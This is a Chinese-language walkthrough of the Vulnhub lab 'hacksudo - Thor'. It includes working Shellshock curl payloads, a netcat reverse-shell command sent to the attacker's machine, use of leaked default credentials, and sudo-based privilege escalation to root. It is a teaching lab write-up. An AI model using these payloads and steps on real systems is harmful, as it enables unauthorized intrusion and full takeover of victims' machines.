当前位置:网站首页>vulnhub靶场-hacksudo - Thor
vulnhub靶场-hacksudo - Thor
2022-07-01 16:46:00 【KALC】
1、靶机信息
靶机名称:hacksudo - Thor
靶机难度:中等
虚拟机环境:此靶机推荐使用Virtualbox搭建
目标:取得root权限
靶机地址:https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip
kali服务器IP | 192.168.2.172 |
靶机IP | 192.168.2.175 |
2、主机发现
2.1 使用nmap对靶机所在的网段进行主机发现,通过MAC地址得知,靶机地址为
192.168.2.175
nmap -sn 192.168.2.0/24
2.2 对靶机地址进行全端口扫描
nmap -p- 192.168.2.175
2.3 版本服务扫描
nmap -p 21,22,80 -sV 192.168.2.175
2.4 对80端口进行访问,发现一个登陆窗口
3、WEB目录爬取
3.1 直接进行目录扫描,尝试发现敏感信息
dirsearch -u http://192.168.2.175 -e *
3.2 对扫描出的目录进行查看,首先是发现一个markdown文件,在文件当中找到代码作者github地址
192.168.2.175/README.md
3.3 找到一个images目录,没有什么有用的信息
3.4 还找到另外一个登陆页面,但是目前还没有账密,先不管
http://192.168.2.175/index.php/login/
4、开源源码泄漏
4.1 尝试访问上面找到的源代码发布地址,看看是否有敏感信息暴露https://github.com/zakee94/
4.2 访问https://github.com/zakee94/online-banking-system
获取到账号为:admin,密码是:password123
4.3 尝试在80端口页面进行登录,提示无效认证
4.4 在代码文件中,我们发现有个admin_login.php的目录
4.5 尝试进行访问这个管理员目录,并拿上面的账密进行登录,发现可以成功登陆
http://192.168.2.175/admin_login.php
4.6 登录后可以进行账户管理等操作
5、破壳漏洞
5.1 查看news.php的源代码,在其中发现一个cgi-bin,在前面使用web目录发现时,同样也扫出cgi-bin目录,这个就需要我们注意,可能会存在一个破壳漏洞
5.2 使用dirsearch对/cgi-bin这个目录进行爬取,找cgi和sh结尾的目录,在这里我们找到了两个目录/cgi-bin/backup.cgi
和/cgi-bin/shell.sh
dirsearch -u http://192.168.2.175/cgi-bin/ -f -e cgi,sh
5.3 使用nmap脚本进行破壳漏洞探测,发现backup.cgi存在破壳漏洞
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/backup.cgi,cmd=ls 192.168.2.175
5.4 使用nmap脚本进行破壳漏洞探测,发现shell.sh也存在破壳漏洞
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/shell.sh,cmd=ls 192.168.2.175
5.5 使用curl命令,在ua头中添加破壳漏洞的payload,可以看到成功回显
curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'id'" \http://192.168.2.175/cgi-bin/backup.cgi
5.6 进一步去查看目标靶机是否存在nc命令,发现是存在的,意味着我们可以直接反弹shell
curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'which nc'" \http://192.168.2.175/cgi-bin/backup.cgi
5.7 首先在kali监听端口,然后在kali上输入反弹shell的payload,利用破壳漏洞拿到shell
curl -H "user-agent: () { :; }; echo;echo;/bin/bash -c 'nc -e /bin/bash 192.168.2.172 9999'" \http://192.168.2.175/cgi-bin/backup.cgi
5.8 成功拿到shell,用户名称为www-data,下一步就是提权
nc -nvlp 9999
5.9 使用python升级为交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
6、GTFOBins提权
6.1 查看当前用户sudo权限,发现一个不需要密码就能以thor权限执行的脚本
6.2 使用thor的用户权限执行脚本,此脚本会首先要求我们输入thor的密钥,在这里我们输入任意值都可以,我们回车确认后,会接着要求我们输入秘密消息,在这里我们输入一个命令id
,发现命令成功执行,提示我们用户是一个thor的用户
sudo -u thor /home/thor/./hammer.sh
6.3 使用脚本提权到thor用户,我们在秘密消息处(Secret massage),输入bash,成功提权到thor用户
6.4 查看thor用户的sudo权限,发现可以无需密码就能以root权限使用cat命令,以及使用root的权限运行service命令,在这里可以直接使用service提权到root。在某些命令配置错误、配置不当时,可以通过这个网站寻找提权的方法:GTFOBins
sudo service ../../bin/bash
边栏推荐
猜你喜欢
SQL question brushing 627 Change gender
Redis distributed lock
软件工程导论——第六章——详细设计
美国国家安全局(NSA)“酸狐狸”漏洞攻击武器平台技术分析报告
Rhcsa Road
模板引擎Velocity 基础
[C language foundation] 12 strings
Tutorial on the principle and application of database system (001) -- MySQL installation and configuration: installation of MySQL software (Windows Environment)
如何使用 etcd 实现分布式 /etc 目录
[pyg] document summary and project experience (continuously updated
随机推荐
阿里云、追一科技抢滩对话式AI
FRP intranet penetration, reverse proxy
存在安全隐患 起亚召回部分K3新能源
Is the securities account given by the head teacher of goucai school safe? Can I open an account?
Computed property “xxx“ was assigned to but it has no setter.
Research and investment strategy report of neutral protease industry in China (2022 Edition)
C語言輸入/輸出流和文件操作
中国乙腈市场预测与战略咨询研究报告(2022版)
中国氮化硅陶瓷基板行业研究与投资前景报告(2022版)
Cookies and session keeping technology
如何使用 etcd 实现分布式 /etc 目录
Determine whether the linked list is a palindrome linked list
Advantages, values and risks of chain games compared with traditional games
(1) CNN network structure
Iommu/smmuv3 code analysis (10) page table operation
Redis distributed lock
免费抽奖 | 《阿巴豆》探索未来系列盲盒数字版权作品全网首发!
软件工程导论——第六章——详细设计
中国生物降解塑料市场预测与投资战略报告(2022版)
The amazing open source animation library is not only awesome, but also small